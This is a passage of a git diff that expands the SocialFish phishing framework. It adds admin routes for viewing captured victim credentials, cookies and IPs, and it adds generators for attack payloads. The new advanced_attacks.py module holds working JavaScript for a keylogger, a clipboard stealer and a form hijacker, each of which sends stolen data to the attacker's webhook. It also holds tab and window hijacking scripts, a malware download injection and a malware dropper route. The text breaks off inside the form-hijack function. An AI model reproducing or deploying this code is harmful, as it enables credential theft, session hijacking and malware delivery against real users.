+ webhooks = cur.execute("SELECT id, template_id, webhook_url, webhook_type, trigger_on FROM webhooks").fetchall()
+
+ if request.headers.get('Accept') == 'application/json':
+ return jsonify([{
+ 'id': w[0],
+ 'template_id': w[1],
+ 'webhook_url': w[2],
+ 'webhook_type': w[3],
+ 'trigger_on': w[4]
+ } for w in webhooks])
+
+ return render_template('admin/webhooks.html', webhooks=webhooks)
+
+# Sessions - View captured sessions
+@app.route("/sessions", methods=['GET'])
+@flask_login.login_required
+def list_sessions():
+ """List all captured victim sessions"""
+ cur = g.db
+ sessions = cur.execute("""
+ SELECT id, template_id, session_hash, victim_ip, victim_ua, submission_timestamp
+ FROM sessions ORDER BY submission_timestamp DESC LIMIT 100
+ """).fetchall()
+
+ session_list = []
+ for s in sessions:
+ session_list.append({
+ 'id': s[0],
+ 'template_id': s[1],
+ 'session_hash': s[2],
+ 'victim_ip': s[3],
+ 'victim_ua': s[4],
+ 'timestamp': s[5]
+ })
+
+ if request.headers.get('Accept') == 'application/json':
+ return jsonify(session_list)
+
+ return render_template('admin/sessions.html', sessions=session_list)
+
+# Session Details
+@app.route("/session/", methods=['GET'])
+@flask_login.login_required
+def get_session(session_id):
+ """Get detailed session data"""
+ cur = g.db
+ session = cur.execute("""
+ SELECT id, template_id, session_hash, victim_ip, victim_ua, form_data, submitted_credentials, submission_timestamp
+ FROM sessions WHERE id = ?
+ """, (session_id,)).fetchone()
+
+ if not session:
+ return jsonify({'status': 'error', 'message': 'Session not found'}), 404
+
+ # Get cookies
+ cookies = cur.execute("SELECT name, value, domain, path FROM cookies WHERE session_id = ?", (session_id,)).fetchall()
+
+ return jsonify({
+ 'id': session[0],
+ 'template_id': session[1],
+ 'session_hash': session[2],
+ 'victim_ip': session[3],
+ 'victim_ua': session[4],
+ 'form_data': json.loads(session[5] if session[5] else '{}'),
+ 'credentials': json.loads(session[6] if session[6] else '{}'),
+ 'timestamp': session[7],
+ 'cookies': [{
+ 'name': c[0],
+ 'value': c[1],
+ 'domain': c[2],
+ 'path': c[3]
+ } for c in cookies]
+ })
+
+#================================================================================================================================
@app.route('/logout')
def logout():
@@ -369,7 +885,8 @@ def unauthorized_handler():
@app.route("/api/checkKey/", methods=['GET'])
def checkKey(key):
cur = g.db
- tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0]
+ ensure_socialfish_row(cur)
+ tokenapi = sf_get(cur, 'token', '')
if key == tokenapi:
status = {'status':'ok'}
else:
@@ -379,11 +896,12 @@ def checkKey(key):
@app.route("/api/statistics/", methods=['GET'])
def getStatics(key):
cur = g.db
- tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0]
+ ensure_socialfish_row(cur)
+ tokenapi = sf_get(cur, 'token', '')
if key == tokenapi:
cur = g.db
- attacks = cur.execute("SELECT attacks FROM socialfish where id = 1").fetchone()[0]
- clicks = cur.execute("SELECT clicks FROM socialfish where id = 1").fetchone()[0]
+ attacks = sf_get(cur, 'attacks', 0)
+ clicks = sf_get(cur, 'clicks', 0)
countC = countCreds()
countNPU = countNotPickedUp()
info = {'status':'ok','attacks':attacks, 'clicks':clicks, 'countCreds':countC, 'countNotPickedUp':countNPU}
@@ -394,7 +912,8 @@ def getStatics(key):
@app.route("/api/getJson/", methods=['GET'])
def getJson(key):
cur = g.db
- tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0]
+ ensure_socialfish_row(cur)
+ tokenapi = sf_get(cur, 'token', '')
if key == tokenapi:
try:
sql = "SELECT * FROM creds"
@@ -416,19 +935,19 @@ def getJson(key):
@app.route('/api/configure', methods = ['POST'])
def postConfigureApi():
- global url, red, sta, beef
if request.is_json:
content = request.get_json()
cur = g.db
- tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0]
- if content['key'] == tokenapi:
- red = content['red']
- beef = content['beef']
- if content['sta'] == 'clone':
- sta = 'clone'
- url = content['url']
+ ensure_socialfish_row(cur)
+ tokenapi = sf_get(cur, 'token', '')
+ if content.get('key') == tokenapi:
+ red = content.get('red', 'https://github.com/UndeadSec/SocialFish')
+ beef = content.get('beef', 'no')
+ sta = content.get('sta', 'custom')
+
+ if sta == 'clone':
+ url = content.get('url', 'https://github.com/UndeadSec/SocialFish')
else:
- sta = 'custom'
url = 'Custom'
if url != 'Custom':
@@ -440,8 +959,12 @@ def postConfigureApi():
red = 'http://' + red
else:
red = 'https://github.com/UndeadSec/SocialFish'
- cur = g.db
- cur.execute("UPDATE socialfish SET attacks = attacks + 1 where id = 1")
+
+ # Store in database instead of global variables
+ cur.execute("DELETE FROM config")
+ cur.execute("INSERT INTO config(url, red, status, beef) VALUES(?, ?, ?, ?)",
+ (url, red, sta, beef))
+ cur.execute("UPDATE socialfish SET attacks = attacks + 1 WHERE id = 1")
g.db.commit()
status = {'status':'ok'}
else:
@@ -455,7 +978,8 @@ def postSendMail():
if request.is_json:
content = request.get_json()
cur = g.db
- tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0]
+ ensure_socialfish_row(cur)
+ tokenapi = sf_get(cur, 'token', '')
if content['key'] == tokenapi:
subject = content['subject']
email = content['email']
@@ -466,9 +990,9 @@ def postSendMail():
port = content['port']
if sendMail(subject, email, password, recipient, body, smtp, port) == 'ok':
cur = g.db
- cur.execute("UPDATE sfmail SET email = '{}' where id = 1".format(email))
- cur.execute("UPDATE sfmail SET smtp = '{}' where id = 1".format(smtp))
- cur.execute("UPDATE sfmail SET port = '{}' where id = 1".format(port))
+ cur.execute("UPDATE sfmail SET email = ? WHERE id = 1", (email,))
+ cur.execute("UPDATE sfmail SET smtp = ? WHERE id = 1", (smtp,))
+ cur.execute("UPDATE sfmail SET port = ? WHERE id = 1", (port,))
g.db.commit()
status = {'status':'ok'}
else:
@@ -481,14 +1005,24 @@ def postSendMail():
@app.route("/api/trace//", methods=['GET'])
def getTraceIpMob(key, ip):
+ import re
cur = g.db
- tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0]
+ ensure_socialfish_row(cur)
+ tokenapi = sf_get(cur, 'token', '')
+
+ # Validate IP format
+ ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$|^127\.0\.0\.1$|^::1$|^[a-f0-9:]+$'
+
+ if not re.match(ip_pattern, ip):
+ return jsonify({'status':'bad', 'error': 'Invalid IP format'})
+
if key == tokenapi:
try:
traceIp = tracegeoIp(ip)
return jsonify(traceIp)
- except:
- content = {'status':'bad'}
+ except Exception as e:
+ print(f'[-] API trace error: {str(e)}')
+ content = {'status':'bad', 'error': 'Trace failed'}
return jsonify(content)
else:
content = {'status':'bad'}
@@ -496,10 +1030,23 @@ def getTraceIpMob(key, ip):
@app.route("/api/scansf//", methods=['GET'])
def getScanSfMob(key, ip):
+ import re
cur = g.db
- tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0]
+ ensure_socialfish_row(cur)
+ tokenapi = sf_get(cur, 'token', '')
+
+ # Validate IP format
+ ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$|^127\.0\.0\.1$|^::1$|^[a-f0-9:]+$'
+
+ if not re.match(ip_pattern, ip):
+ return jsonify({'status':'bad', 'error': 'Invalid IP format'})
+
if key == tokenapi:
- return jsonify(nScan(ip))
+ try:
+ return jsonify(nScan(ip))
+ except Exception as e:
+ print(f'[-] API scan error: {str(e)}')
+ return jsonify({'status':'bad', 'error': 'Scan failed'})
else:
content = {'status':'bad'}
return jsonify(content)
@@ -507,7 +1054,8 @@ def getScanSfMob(key, ip):
@app.route("/api/infoReport/", methods=['GET'])
def getReportMob(key):
cur = g.db
- tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0]
+ ensure_socialfish_row(cur)
+ tokenapi = sf_get(cur, 'token', '')
if key == tokenapi:
urls = cur.execute("SELECT url FROM creds").fetchall()
users = cur.execute("SELECT name FROM professionals").fetchall()
@@ -527,16 +1075,430 @@ def getReportMob(key):
else:
return jsonify({'status':'bad'})
-#--------------------------------------------------------------------------------------------------------------------------------
+#================================================================================================================================
+# ADVANCED ATTACK TECHNIQUES (v3.0+)
+
+# Selenium Browser Control
+@app.route("/selenium/record", methods=['POST'])
+@flask_login.login_required
+def selenium_record():
+ """Start Selenium recording session"""
+ data = request.json or request.form
+ target_url = data.get('url')
+ browser = data.get('browser', 'chrome')
+ headless = data.get('headless', 'true').lower() == 'true'
+
+ try:
+ recorder = SeleniumRecorder(browser=browser, headless=headless)
+ recorder.init_driver()
+
+ return jsonify({
+ 'status': 'ok',
+ 'message': 'Selenium recording started',
+ 'browser': browser,
+ 'headless': headless
+ })
+ except Exception as e:
+ return jsonify({'status': 'error', 'message': str(e)}), 500
+
+# Tab Jacking - Hijack victim's browser tab
+@app.route("/attack/tabjack", methods=['POST'])
+@flask_login.login_required
+def tab_jacking():
+ """Generate tab jacking payload"""
+ data = request.json or request.form
+ target_url = data.get('target_url')
+ clone_url = data.get('clone_url')
+
+ if data.get('type') == 'html':
+ payload = TabJacking.generate_tabjack_html(clone_url, target_url)
+ return render_template_string(payload)
+ else:
+ payload = TabJacking.generate_tabjack_payload(target_url)
+ return jsonify({
+ 'status': 'ok',
+ 'payload': payload,
+ 'type': 'javascript'
+ })
+
+# File Upload Injection - Drop malicious files
+@app.route("/attack/file-upload", methods=['POST'])
+@flask_login.login_required
+def file_upload_injection():
+ """Generate file upload/malware dropper payload"""
+ data = request.json or request.form
+ file_url = data.get('file_url')
+ filename = data.get('filename', 'update.exe')
+ malware_mode = data.get('malware_mode', 'false').lower() == 'true'
+
+ if malware_mode:
+ payload = FileUploadInjection.generate_malware_dropper_html(file_url)
+ return render_template_string(payload)
+ else:
+ payload = FileUploadInjection.generate_file_upload_payload(file_url, filename)
+ return jsonify({
+ 'status': 'ok',
+ 'payload': payload,
+ 'type': 'javascript'
+ })
+
+# Advanced Stealth - Anti-detection techniques
+@app.route("/attack/stealth", methods=['GET', 'POST'])
+@flask_login.login_required
+def advanced_stealth():
+ """Get stealth evasion payloads"""
+ stealth_type = request.args.get('type', 'perfection')
+
+ if stealth_type == 'perfection':
+ payload = AdvancedStealth.generate_perfection_js()
+ elif stealth_type == 'fingerprint':
+ payload = AdvancedStealth.generate_fingerprint_evasion()
+ else:
+ return jsonify({'status': 'error', 'message': 'Unknown stealth type'}), 400
+
+ return jsonify({
+ 'status': 'ok',
+ 'stealth_type': stealth_type,
+ 'payload': payload,
+ 'size': len(payload),
+ 'description': 'Inject into cloned page to evade detection'
+ })
+
+# CAPTCHA Detection & Solving
+@app.route("/attack/captcha/detect", methods=['POST'])
+@flask_login.login_required
+def captcha_detect():
+ """Detect CAPTCHA on page"""
+ data = request.json or request.form
+ page_html = data.get('html')
+
+ if not page_html:
+ return jsonify({'status': 'error', 'message': 'HTML required'}), 400
+
+ solver = CAPTCHASolver()
+ detections = solver.detect_captcha(page_html, [])
+
+ return jsonify({
+ 'status': 'ok',
+ 'detections': detections,
+ 'has_captcha': detections['has_captcha'],
+ 'captcha_type': detections['captcha_type']
+ })
+
+# CAPTCHA Solving Setup
+@app.route("/attack/captcha/solve", methods=['POST'])
+@flask_login.login_required
+def captcha_solve():
+ """Setup CAPTCHA solving service"""
+ data = request.json or request.form
+ service = data.get('service', '2captcha') # 2captcha, anticaptcha, manual
+ api_key = data.get('api_key')
+
+ try:
+ solver = CAPTCHASolver(service=service, api_key=api_key)
+
+ # Store solver config in DB (future enhancement)
+ return jsonify({
+ 'status': 'ok',
+ 'service': service,
+ 'message': f'CAPTCHA solver configured: {service}'
+ })
+ except Exception as e:
+ return jsonify({'status': 'error', 'message': str(e)}), 500
+
+# Mock Login Server - Test environment
+@app.route("/mock-server/start", methods=['POST'])
+@flask_login.login_required
+def mock_server_start():
+ """Start mock login server for testing"""
+ data = request.json or request.form
+ port = data.get('port', 5001)
+
+ try:
+ # Start mock server in background thread
+ import threading
+ server = MockLoginServer(port=port)
+
+ thread = threading.Thread(target=server.run, daemon=True)
+ thread.start()
+
+ return jsonify({
+ 'status': 'ok',
+ 'port': port,
+ 'message': f'Mock server started on port {port}',
+ 'endpoints': {
+ 'login': f'http://localhost:{port}/login',
+ 'oauth': f'http://localhost:{port}/oauth/authorize',
+ 'sso': f'http://localhost:{port}/sso/login',
+ 'api_users': f'http://localhost:{port}/api/users',
+ 'api_sessions': f'http://localhost:{port}/api/sessions'
+ }
+ })
+ except Exception as e:
+ return jsonify({'status': 'error', 'message': str(e)}), 500
+
+# Recording Studio - Choose recorder type
+def emit_recording_log(event_type, message, **kwargs):
+ """Emit recording events to connected clients via WebSocket"""
+ try:
+ socketio.emit(event_type, {
+ 'message': message,
+ 'type': event_type,
+ 'timestamp': datetime.datetime.now().isoformat(),
+ **kwargs
+ }, broadcast=False)
+ except Exception as e:
+ logger.debug(f"Failed to emit WebSocket event {event_type}: {e}")
+
+@app.route("/studio/recorder", methods=['GET', 'POST'])
+@flask_login.login_required
+def recording_studio():
+ """Recording studio to choose between Playwright and Selenium"""
+ if request.method == 'GET':
+ return render_template('admin/recording_studio.html')
+
+ # POST - start recording
+ data = request.json or request.form
+ recorder_type = data.get('type', 'playwright') # playwright or selenium
+ target_url = data.get('url')
+ browser = data.get('browser', 'chrome')
+ headless = data.get('headless', 'true').lower() == 'true'
+
+ if not target_url:
+ return jsonify({'status': 'error', 'message': 'URL required'}), 400
+
+ try:
+ if recorder_type == 'selenium':
+ emit_recording_log('recorder_log', f"Initializing Selenium recorder ({browser})")
+ recorder = SeleniumRecorder(browser=browser, headless=headless)
+ recorder.init_driver()
+ emit_recording_log('recorder_log', "Browser driver initialized")
+ success = recorder.record_flow(target_url)
+ emit_recording_log('recorder_log', f"Recording completed (found {len(recorder.detected_forms or [])} forms)")
+ else:
+ # Default Playwright
+ emit_recording_log('recorder_log', "Initializing Playwright recorder")
+ recorder = PlaywrightRecorder(DATABASE, headless=headless)
+ emit_recording_log('recorder_log', "Launching browser instance")
+ success = asyncio.run(recorder.record_flow(target_url))
+ emit_recording_log('recorder_log', f"Recording completed (found {len(recorder.detected_forms or [])} forms)")
+
+ return jsonify({
+ 'status': 'ok',
+ 'recorder_type': recorder_type,
+ 'message': f'Recording started with {recorder_type}'
+ })
+ except Exception as e:
+ emit_recording_log('recording_error', str(e))
+ logger.exception(f"Recording error: {e}")
+ return jsonify({'status': 'error', 'message': str(e)}), 500
+
+# Attack Payloads Dashboard
+@app.route("/admin/attack-payloads", methods=['GET'])
+@flask_login.login_required
+def attack_payloads():
+ """Advanced attack payload generation dashboard"""
+ return render_template('admin/attack_payloads.html')
+
+# API: Generate Tab Jacking Payload
+@app.route("/api/attacks/tabjack", methods=['POST'])
+@flask_login.login_required
+def generate_tabjack():
+ """Generate tab jacking payload"""
+ data = request.json
+ redirect_url = data.get('redirect_url')
+ delay_ms = data.get('delay_ms', 500)
+
+ if not redirect_url:
+ return jsonify({'status': 'error', 'message': 'redirect_url required'}), 400
+
+ from core.advanced_attacks import AdvancedAttackInjector
+ payload = AdvancedAttackInjector.generate_tab_jacker(redirect_url, delay_ms=delay_ms)
+
+ return jsonify({
+ 'status': 'ok',
+ 'payload_type': 'tab_jacking',
+ 'payload': payload
+ })
+
+# API: Generate Window Hijack Payload
+@app.route("/api/attacks/window-hijack", methods=['POST'])
+@flask_login.login_required
+def generate_window_hijack():
+ """Generate aggressive window hijacking payload"""
+ data = request.json
+ redirect_url = data.get('redirect_url')
+
+ if not redirect_url:
+ return jsonify({'status': 'error', 'message': 'redirect_url required'}), 400
+
+ from core.advanced_attacks import AdvancedAttackInjector
+ payload = AdvancedAttackInjector.generate_window_hijack(redirect_url)
+
+ return jsonify({
+ 'status': 'ok',
+ 'payload_type': 'window_hijack',
+ 'payload': payload
+ })
+
+# API: Generate Keylogger Payload
+@app.route("/api/attacks/keylogger", methods=['POST'])
+@flask_login.login_required
+def generate_keylogger():
+ """Generate keylogger injection payload"""
+ data = request.json
+ webhook_url = data.get('webhook_url', '/api/webhook')
+
+ from core.advanced_attacks import AdvancedAttackInjector
+ payload = AdvancedAttackInjector.generate_keylogger(webhook_url)
+
+ return jsonify({
+ 'status': 'ok',
+ 'payload_type': 'keylogger',
+ 'payload': payload
+ })
+
+# API: Generate File Download Injection
+@app.route("/api/attacks/file-download", methods=['POST'])
+@flask_login.login_required
+def generate_file_download():
+ """Generate file download injection payload"""
+ data = request.json
+ file_url = data.get('file_url')
+ filename = data.get('filename', 'document.pdf')
+
+ if not file_url:
+ return jsonify({'status': 'error', 'message': 'file_url required'}), 400
+
+ from core.advanced_attacks import AdvancedAttackInjector
+ payload = AdvancedAttackInjector.generate_file_download_injection(file_url, filename)
+
+ return jsonify({
+ 'status': 'ok',
+ 'payload_type': 'file_download',
+ 'payload': payload
+ })
+
+# API: Generate Multi-Vector Attack
+@app.route("/api/attacks/multi-vector", methods=['POST'])
+@flask_login.login_required
+def generate_multi_vector():
+ """Generate combined multi-vector attack"""
+ data = request.json
+ capture_url = data.get('capture_url')
+ webhook_url = data.get('webhook_url', '/api/webhook')
+ file_download_url = data.get('file_download_url')
+
+ if not capture_url:
+ return jsonify({'status': 'error', 'message': 'capture_url required'}), 400
+
+ from core.advanced_attacks import AttackTemplateBuilder
+ attacks = AttackTemplateBuilder.build_multi_vector_attack(
+ capture_url,
+ webhook_url,
+ file_download_url
+ )
+
+ return jsonify({
+ 'status': 'ok',
+ 'payload_type': 'multi_vector',
+ 'individual_payloads': attacks['individual_payloads'],
+ 'combined_script': attacks['combined_script'],
+ 'injection_methods': attacks['injection_methods']
+ })
+
+# API: Inject Payload into Template
+@app.route("/api/attacks/inject-template", methods=['POST'])
+@flask_login.login_required
+def inject_payload_to_template():
+ """Inject attack payload into clone template"""
+ data = request.json
+ template_id = data.get('template_id')
+ payload = data.get('payload')
+ injection_method = data.get('injection_method', 'html_script_injection')
+
+ if not template_id or not payload:
+ return jsonify({'status': 'error', 'message': 'template_id and payload required'}), 400
+
+ try:
+ cur = g.db
+
+ # Get template
+ template = cur.execute(
+ "SELECT cloned_html FROM templates WHERE id = ?",
+ (template_id,)
+ ).fetchone()
+
+ if not template:
+ return jsonify({'status': 'error', 'message': 'Template not found'}), 404
+
+ from core.advanced_attacks import InjectionMethods
+
+ cloned_html = template[0]
+
+ if injection_method == 'dom_ready':
+ modified_html = InjectionMethods.dom_ready_injection(cloned_html, payload)
+ elif injection_method == 'inline_event':
+ modified_html = InjectionMethods.inline_event_injection(cloned_html, payload)
+ else: # html_script_injection
+ modified_html = InjectionMethods.html_script_injection(cloned_html, payload)
+
+ # Update template with injected code
+ cur.execute(
+ "UPDATE templates SET cloned_html = ? WHERE id = ?",
+ (modified_html, template_id)
+ )
+ g.db.commit()
+
+ return jsonify({
+ 'status': 'ok',
+ 'message': f'Payload injected using {injection_method}',
+ 'modified': True
+ })
+ except Exception as e:
+ return jsonify({'status': 'error', 'message': str(e)}), 500
+
+# API: Webhook Handler - Receive attack data
+@app.route("/api/webhook", methods=['POST'])
+def webhook_handler():
+ """Receive attack-generated data (keystrokes, form data, etc.)"""
+ data = request.json or request.form.to_dict()
+
+ # This would be called by injected JavaScript payloads
+ webhook_type = data.get('type')
+ victim_ip = request.remote_addr
+
+ # Log to console
+ print(f"[+] Webhook data received from {victim_ip}: {webhook_type}")
+
+ # Broadcast to admin panel via WebSocket
+ # Avoid passing `broadcast` keyword directly to ensure compatibility
+ payload = {
+ 'type': webhook_type,
+ 'victim_ip': victim_ip,
+ 'data': data,
+ 'timestamp': date.today().isoformat()
+ }
+ try:
+ socketio.emit('webhook_data', payload)
+ except TypeError:
+ # Fallback for older/newer server implementations
+ socketio.server.emit('webhook_data', payload)
+
+ return jsonify({'status': 'ok'})
+
+#================================================================================================================================
def main():
if version_info<(3,0,0):
print('[!] Please use Python 3. $ python3 SocialFish.py')
exit(0)
head()
cleanFake()
- # Inicia o banco
+ # Inicia o banco e executa migracao
initDB(DATABASE)
- app.run(host="0.0.0.0", port=5000)
+ migrate_db(DATABASE)
+ # Inicia o servidor com SocketIO
+ socketio.run(app, host="0.0.0.0", port=5000, debug=False)
if __name__ == "__main__":
try:
diff --git a/SocialX.code-workspace b/SocialX.code-workspace
new file mode 100644
index 0000000..876a149
--- /dev/null
+++ b/SocialX.code-workspace
@@ -0,0 +1,8 @@
+{
+ "folders": [
+ {
+ "path": "."
+ }
+ ],
+ "settings": {}
+}
\ No newline at end of file
diff --git a/__pycache__/SocialFish.cpython-312.pyc b/__pycache__/SocialFish.cpython-312.pyc
new file mode 100644
index 0000000..7202ca8
Binary files /dev/null and b/__pycache__/SocialFish.cpython-312.pyc differ
diff --git a/core/__pycache__/advanced_attacks.cpython-312.pyc b/core/__pycache__/advanced_attacks.cpython-312.pyc
new file mode 100644
index 0000000..4b4ac4b
Binary files /dev/null and b/core/__pycache__/advanced_attacks.cpython-312.pyc differ
diff --git a/core/__pycache__/cleanFake.cpython-312.pyc b/core/__pycache__/cleanFake.cpython-312.pyc
new file mode 100644
index 0000000..9ff0947
Binary files /dev/null and b/core/__pycache__/cleanFake.cpython-312.pyc differ
diff --git a/core/__pycache__/clonesf.cpython-312.pyc b/core/__pycache__/clonesf.cpython-312.pyc
new file mode 100644
index 0000000..ecbb473
Binary files /dev/null and b/core/__pycache__/clonesf.cpython-312.pyc differ
diff --git a/core/__pycache__/config.cpython-312.pyc b/core/__pycache__/config.cpython-312.pyc
new file mode 100644
index 0000000..249d39e
Binary files /dev/null and b/core/__pycache__/config.cpython-312.pyc differ
diff --git a/core/__pycache__/cookie_inspector.cpython-312.pyc b/core/__pycache__/cookie_inspector.cpython-312.pyc
new file mode 100644
index 0000000..068dd8f
Binary files /dev/null and b/core/__pycache__/cookie_inspector.cpython-312.pyc differ
diff --git a/core/__pycache__/db_migration.cpython-312.pyc b/core/__pycache__/db_migration.cpython-312.pyc
new file mode 100644
index 0000000..5e693d5
Binary files /dev/null and b/core/__pycache__/db_migration.cpython-312.pyc differ
diff --git a/core/__pycache__/dbsf.cpython-312.pyc b/core/__pycache__/dbsf.cpython-312.pyc
new file mode 100644
index 0000000..b5ae82f
Binary files /dev/null and b/core/__pycache__/dbsf.cpython-312.pyc differ
diff --git a/core/__pycache__/genReport.cpython-312.pyc b/core/__pycache__/genReport.cpython-312.pyc
new file mode 100644
index 0000000..d99deac
Binary files /dev/null and b/core/__pycache__/genReport.cpython-312.pyc differ
diff --git a/core/__pycache__/genToken.cpython-312.pyc b/core/__pycache__/genToken.cpython-312.pyc
new file mode 100644
index 0000000..b360c2a
Binary files /dev/null and b/core/__pycache__/genToken.cpython-312.pyc differ
diff --git a/core/__pycache__/mock_server.cpython-312.pyc b/core/__pycache__/mock_server.cpython-312.pyc
new file mode 100644
index 0000000..7511ba1
Binary files /dev/null and b/core/__pycache__/mock_server.cpython-312.pyc differ
diff --git a/core/__pycache__/recorder_playwright.cpython-312.pyc b/core/__pycache__/recorder_playwright.cpython-312.pyc
new file mode 100644
index 0000000..76303e7
Binary files /dev/null and b/core/__pycache__/recorder_playwright.cpython-312.pyc differ
diff --git a/core/__pycache__/recorder_selenium.cpython-312.pyc b/core/__pycache__/recorder_selenium.cpython-312.pyc
new file mode 100644
index 0000000..0aabc95
Binary files /dev/null and b/core/__pycache__/recorder_selenium.cpython-312.pyc differ
diff --git a/core/__pycache__/report.cpython-312.pyc b/core/__pycache__/report.cpython-312.pyc
new file mode 100644
index 0000000..e295ae7
Binary files /dev/null and b/core/__pycache__/report.cpython-312.pyc differ
diff --git a/core/__pycache__/scansf.cpython-312.pyc b/core/__pycache__/scansf.cpython-312.pyc
new file mode 100644
index 0000000..a48b20d
Binary files /dev/null and b/core/__pycache__/scansf.cpython-312.pyc differ
diff --git a/core/__pycache__/sendMail.cpython-312.pyc b/core/__pycache__/sendMail.cpython-312.pyc
new file mode 100644
index 0000000..6669c34
Binary files /dev/null and b/core/__pycache__/sendMail.cpython-312.pyc differ
diff --git a/core/__pycache__/tracegeoIp.cpython-312.pyc b/core/__pycache__/tracegeoIp.cpython-312.pyc
new file mode 100644
index 0000000..0726958
Binary files /dev/null and b/core/__pycache__/tracegeoIp.cpython-312.pyc differ
diff --git a/core/__pycache__/tunnel_manager.cpython-312.pyc b/core/__pycache__/tunnel_manager.cpython-312.pyc
new file mode 100644
index 0000000..707a5f8
Binary files /dev/null and b/core/__pycache__/tunnel_manager.cpython-312.pyc differ
diff --git a/core/__pycache__/view.cpython-312.pyc b/core/__pycache__/view.cpython-312.pyc
new file mode 100644
index 0000000..d5abc16
Binary files /dev/null and b/core/__pycache__/view.cpython-312.pyc differ
diff --git a/core/advanced_attacks.py b/core/advanced_attacks.py
new file mode 100644
index 0000000..d7abcc8
--- /dev/null
+++ b/core/advanced_attacks.py
@@ -0,0 +1,563 @@
+#!/usr/bin/env python3
+"""
+Advanced Attack Capabilities for SocialFish v3.0
+Tab Jacking, File Upload Injection, Post-Capture Redirect
+"""
+
+import json
+import random
+import string
+from typing import Dict, Optional
+from pathlib import Path
+
+class AdvancedAttackInjector:
+ """Inject and deliver advanced attack payloads"""
+
+ @staticmethod
+ def generate_tab_jacker(redirect_url: str, target_window_name: str = '_blank', delay_ms: int = 500) -> str:
+ """
+ Generate tab jacking JavaScript injection
+ Steals focus using window.open() tricks and name manipulation
+ """
+ payload = f"""
+ (function() {{
+ try {{
+ // Store reference to current window
+ var originalOpener = window.opener;
+ var hijackedWindow = window;
+
+ // Inject into all window.open calls
+ var WindowOpen = window.open;
+ window.open = function(url, target, features) {{
+ // Intercept opens
+ target = target || '_blank';
+ var w = WindowOpen.call(this, '{redirect_url}', target, features);
+ return w;
+ }};
+
+ // Grab focus after delay
+ setTimeout(function() {{
+ try {{
+ window.location = '{redirect_url}';
+ }} catch(e) {{
+ window.open('{redirect_url}', '{target_window_name}');
+ }}
+ }}, {delay_ms});
+
+ }} catch(e) {{}}
+ }})();
+ """
+ return payload
+
+ @staticmethod
+ def generate_window_hijack(redirect_url: str) -> str:
+ """
+ Aggressive window hijacking - best for same-origin scenarios
+ """
+ payload = f"""
+ (function() {{
+ try {{
+ // Override window.location (catches most redirect attempts)
+ Object.defineProperty(window, 'location', {{
+ get: function() {{
+ var LocationBar = function() {{
+ this.href = '{redirect_url}';
+ }};
+ return new LocationBar();
+ }},
+ set: function(url) {{
+ // Silently redirect
+ setTimeout(function() {{
+ window.location.href = '{redirect_url}';
+ }}, 100);
+ }},
+ configurable: true
+ }});
+
+ // Override history to prevent back navigation
+ window.onpopstate = function() {{
+ window.location.href = '{redirect_url}';
+ }};
+
+ // Prevent page unload
+ window.onbeforeunload = function() {{
+ return false;
+ }};
+
+ }} catch(e) {{}}
+ }})();
+ """
+ return payload
+
+ @staticmethod
+ def generate_fake_logout(capture_url: str, logout_text: str = 'Click here to continue') -> str:
+ """
+ Inject fake logout button that redirects to capture page
+ """
+ payload = f"""
+ (function() {{
+ try {{
+ var navbar = document.querySelector('nav') || document.querySelector('header');
+
+ if (navbar) {{
+ var logout_btn = document.createElement('button');
+ logout_btn.innerHTML = '{logout_text}';
+ logout_btn.style.cssText = `
+ position: fixed;
+ bottom: 20px;
+ right: 20px;
+ padding: 10px 20px;
+ background: #007bff;
+ color: white;
+ border: none;
+ border-radius: 5px;
+ cursor: pointer;
+ z-index: 99999;
+ font-weight: bold;
+ `;
+
+ logout_btn.onclick = function(e) {{
+ e.preventDefault();
+ window.location.href = '{capture_url}';
+ }};
+
+ document.body.appendChild(logout_btn);
+ }}
+ }} catch(e) {{}}
+ }})();
+ """
+ return payload
+
+ @staticmethod
+ def generate_clipboard_stealer() -> str:
+ """
+ Attempt to steal clipboard content (2FA codes, passwords)
+ Requires user permission in most modern browsers
+ """
+ payload = """
+ (function() {
+ try {
+ navigator.clipboard.readText()
+ .then(text => {
+ // Send to attacker server
+ fetch('/api/webhook', {
+ method: 'POST',
+ headers: {'Content-Type': 'application/json'},
+ body: JSON.stringify({
+ type: 'clipboard',
+ content: text,
+ timestamp: new Date().toISOString()
+ })
+ }).catch(e => {});
+ })
+ .catch(e => {});
+ } catch(e) {}
+ })();
+ """
+ return payload
+
+ @staticmethod
+ def generate_keylogger(webhook_url: str = '/api/webhook') -> str:
+ """
+ Inject keylogger for capturing credential input
+ """
+ payload = f"""
+ (function() {{
+ var captured = {{}};
+
+ document.addEventListener('keyup', function(e) {{
+ var elem = e.target;
+ if (elem.tagName === 'INPUT' || elem.tagName === 'TEXTAREA') {{
+ var name = elem.getAttribute('name') || elem.getAttribute('id') || 'unknown';
+ if (!captured[name]) captured[name] = '';
+ captured[name] += e.key;
+
+ // Auto-send on form submission
+ if (e.key === 'Enter') {{
+ fetch('{webhook_url}', {{
+ method: 'POST',
+ headers: {{'Content-Type': 'application/json'}},
+ body: JSON.stringify({{
+ type: 'keystroke',
+ data: captured,
+ timestamp: new Date().toISOString()
+ }})
+ }}).catch(() => {{}});
+ }}
+ }}
+ }});
+ }})();
+ """
+ return payload
+
+ @staticmethod
+ def generate_file_download_injection(file_url: str, filename: str = 'document.pdf') -> str:
+ """
+ Inject JavaScript to trigger automatic file download
+ Useful for spreading malware or creating false sense of completion
+ """
+ payload = f"""
+ (function() {{
+ try {{
+ var link = document.createElement('a');
+ link.href = '{file_url}';
+ link.download = '{filename}';
+ link.style.display = 'none';
+ document.body.appendChild(link);
+
+ // Trigger download
+ setTimeout(function() {{
+ link.click();
+ document.body.removeChild(link);
+ }}, 1000);
+ }} catch(e) {{}}
+ }})();
+ """
+ return payload
+
+ @staticmethod
+ def generate_form_hijack(attacker_url: str) -> str:
+ """
+ Hijack all form submissions to send to attacker's server
+ """
+ payload = f"""
+ (function() {{
+ var originalSubmit = HTMLFormElement.prototype.submit;
+ HTMLFormElement.prototype.submit = function() {{
+ var formData = new FormData(this);
+ var data = {{}};
